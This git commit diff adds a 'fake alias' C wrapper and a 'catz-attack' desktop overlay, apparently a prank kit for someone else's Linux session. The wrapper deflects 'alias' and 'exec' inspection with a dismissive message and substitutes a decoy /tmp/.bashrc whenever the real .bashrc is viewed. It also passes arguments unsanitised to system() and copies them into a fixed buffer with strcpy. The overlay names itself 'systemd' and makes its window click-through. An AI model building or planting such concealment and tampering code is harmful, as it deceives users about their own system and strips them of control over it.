fake alias implementation

This commit is contained in:
2026-02-23 21:57:30 +01:00
parent 92fd9e5ea6
commit 90bc3b76a2
11 changed files with 101 additions and 1 deletions

9
alias/Makefile Normal file
View File

@@ -0,0 +1,9 @@
SRC = main.c
OUT = fake_alias
CFLAGS = -Wall -Wextra -g -fsanitize=address
all: $(SRC)
$(CC) $(CFLAGS) $(SRC) -o $(OUT)
clean:
$(RM) $(OUT)

BIN
alias/fake_alias Executable file

Binary file not shown.

38
alias/main.c Normal file
View File

@@ -0,0 +1,38 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char **argv) {
//printf("argc = %d", argc);
if (argc < 2) {
printf("Error: at least one argument is required\n");
return 1;
}
// check for alias or exec
if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
printf("There is nothing to see here, beggar off...\n");
return 0;
}
// Handle only the command
if (argc == 2) {
system(argv[1]);
return 0;
}
char *rep_file = "/tmp/.bashrc";
char command[500] = {'\0'};
strcpy(command, "/bin/"); // Prefix of the command
// We filter any .bashrc and replace it by our own
for (int i=1; i<argc; i++) {
if (strstr(argv[i], ".bashrc") != NULL){
strcpy(command + strlen(command), rep_file); // replace by our copy
}
else{
strcpy(command + strlen(command), argv[i]); // let the original
}
command[strlen(command)] = ' ';
}
// printf("Launching: %s\n", command);
system(command);
return 0;
}

18
default.nix Normal file
View File

@@ -0,0 +1,18 @@
# simple.nix
let
pkgs = import <nixpkgs> { };
in
pkgs.stdenv.mkDerivation {
name = "hello-nix";
src = ./.;
buildPhase = ''
$CC simple.c -o hello_nix
'';
installPhase = ''
mkdir -p $out/bin
cp hello_nix $out/bin/hello_nix
'';
}

BIN
firmware.bin Executable file

Binary file not shown.

32
overlay/default.nix Normal file
View File

@@ -0,0 +1,32 @@
# simple.nix
let
pkgs = import <nixpkgs> { };
in
pkgs.stdenv.mkDerivation {
name = "catz-attack";
src = ./src/.;
buildInputs = [
pkgs.pkg-config
pkgs.sdl3
pkgs.sdl3-image
pkgs.xorg.libX11
pkgs.xorg.libXext
pkgs.xorg.libXrender
pkgs.xorg.libXcomposite
pkgs.xorg.libXcursor
pkgs.libxfixes
];
buildPhase = ''
echo $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
$CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
'';
installPhase = ''
mkdir -p $out/bin
cp real_oneko.gif sample.gif $out/bin/
cp catz-attack $out/bin/catz-attack
'';
}

Binary file not shown.

1
overlay/result Symbolic link
View File

@@ -0,0 +1 @@
/nix/store/115rxak3fbaqs4xfglndd333z44bx6lk-catz-attack

View File

@@ -68,6 +68,7 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
char *gif_path = NULL;
SDL_SetAppMetadata("systemd", "1.0", "org.kernel.systemd");
SDL_SetHint("SDL_VIDEO_X11_VISUALID", "argb");
if (!SDL_Init(SDL_INIT_VIDEO)) {
SDL_Log("Couldn't initialize SDL: %s", SDL_GetError());
@@ -95,9 +96,10 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
return SDL_APP_FAILURE;
}
SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND);
make_window_clickthrough();
set_override_redirect();
SDL_SetDefaultTextureScaleMode(renderer, SDL_SCALEMODE_PIXELART);
//SDL_SetTextureScaleMode(renderer, SDL_SCALEMODE_LINEAR);
neko_init(renderer, window);

BIN
overlay/src/real_oneko.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.7 KiB

BIN
overlay/src/sample.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 MiB